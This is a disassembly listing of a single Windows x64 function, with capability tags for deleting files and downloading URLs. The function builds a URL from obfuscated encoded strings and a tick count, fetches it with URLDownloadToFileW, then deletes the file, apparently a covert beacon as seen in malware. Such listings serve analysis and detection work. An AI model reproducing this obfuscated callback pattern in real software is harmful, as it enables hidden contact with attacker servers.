Function at 0x140061a00
Capabilities:
Delete file
Download url
Receive data

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x88]
sub rsp, 0x188
mov r12, r8
mov r15, rdx
mov r14, rcx
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x1400620e5
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x58], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x1400620f0
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x60], rax
xor ebx, ebx
mov qword [rbp - 8], rbx
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rbx
lea r8d, [rbx + 0x10]
lea rdx, str.cmNrbl1jdGNscg
lea rcx, [rbp - 8]
call fcn.140030750
nop
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea rsi, [rbp - 8]
cmp qword [rbp + 0x10], 8
cmovae rsi, qword [rbp - 8]
movabs rbx, 0x7ffffffffffffffe
mov rdi, qword [rbp + 8]
cmp rdi, rbx
ja 0x1400620fb
mov qword [rbp - 0x38], 7
cmp rdi, 8
jae 0x140061af0
mov qword [rbp - 0x40], rdi
mov r8d, 0x10
mov rdx, rsi
lea rcx, [rbp - 0x50]
call fcn.140185440
jmp 0x140061b37
mov rax, rdi
or rax, 7
cmp rax, rbx
ja 0x140061b0b
mov rbx, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rbx, rcx
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x50]
call fcn.140030fc0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call fcn.140185440
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x18]
call fcn.14004bc20
nop
mov r9, qword [rax]
mov r8, qword [0x140223730]
lea rdx, str._ws_ws
lea rcx, [rbp - 0x60]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0x18]
add rdx, 0xffffffffffffffe8
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061b84
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140062101
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x68], rax
lea rbx, str.ZnJybnE4LS1uYV9ubixxcm1wYy1uZ3ZjaixlZ2Q9ZXNnYjs
mov rdx, rbx
lea rcx, [rbp - 0x68]
call fcn.140031e00
test al, al
jne 0x140061bda
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x140061bc0
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x68]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14006210c
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x70], rax
lea rbx, str.JHRjcHFnbWw7
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.140031e00
test al, al
jne 0x140061c2d
mov rax, rdi
inc rax
cmp word [rbx + rax*2], 0
jne 0x140061c13
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140062117
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x78], rax
lea rbx, str.JGN0cl1xcGE7ZF9d
mov rdx, rbx
lea rcx, [rbp - 0x78]
call fcn.140031e00
test al, al
jne 0x140061c80
mov rax, rdi
inc rax
cmp word [rbx + rax*2], 0
jne 0x140061c66
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x78]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140062122
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x80], rax
lea rbx, str.JGN0cl1fYXJnbWw7
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140031e00
test al, al
jne 0x140061cda
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x140061cc0
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14006212d
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x78], rax
lea rbx, str.JGxtYV9hZmM7
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140031e00
test al, al
jne 0x140061d30
mov rax, rdi
inc rax
cmp word [rbx + rax*2], 0
jne 0x140061d15
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140032190
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rbp + 0x20], rax
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x60], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x58]
call fcn.14004beb0
nop
mov r13, qword [rax]
mov rax, qword [r12]
mov qword [rbp + 0x28], rax
mov rax, qword [r15]
mov qword [rbp + 0x30], rax
mov rcx, qword [rbp - 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x68], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x50]
call fcn.14004beb0
nop
mov r15, qword [rax]
mov r12, qword [r14]
mov rcx, qword [rbp - 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x70], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x48]
call fcn.14004beb0
nop
mov rsi, qword [rax]
mov r14, qword [0x140223738]
mov rcx, qword [rbp - 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x78], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x40]
call fcn.14004beb0
nop
mov rbx, qword [rax]
mov rcx, qword [rbp - 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x70], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x38]
call fcn.14004beb0
nop
mov rcx, qword [rbp + 0x20]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x58], r13
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x50], rcx
mov rcx, qword [rbp + 0x30]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
lea r9, [0x140223f40]
mov r8, qword [rax]
lea rdx, str._s_s_s_s_s_s_s_s_s_s_I64u
lea rcx, [rbp - 0x58]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0x38]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061e96
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061eb4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061ed2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061ef0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061f0d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov esi, eax
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
sete bl
mov eax, edi
mov rdx, qword [rbp + 0x60]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061f54
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
mov rdx, qword [rbp + 0x68]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061f6e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
mov rdx, qword [rbp + 0x70]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061f88
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
mov rdx, qword [rbp + 0x78]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061fa2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
mov rdx, qword [rsp + 0x70]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140061fbd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 8
jb 0x140061ffe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061ff8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400620df
call fcn.140183144
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14006201c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14006203a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xd0]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14006205e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xd8]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140062082
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xe0]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400620a6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xe8]
mov rdx, qword [rdx]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x1400620c8
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, bl
add rsp, 0x188
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140189c24
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140030df0
int3
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
int3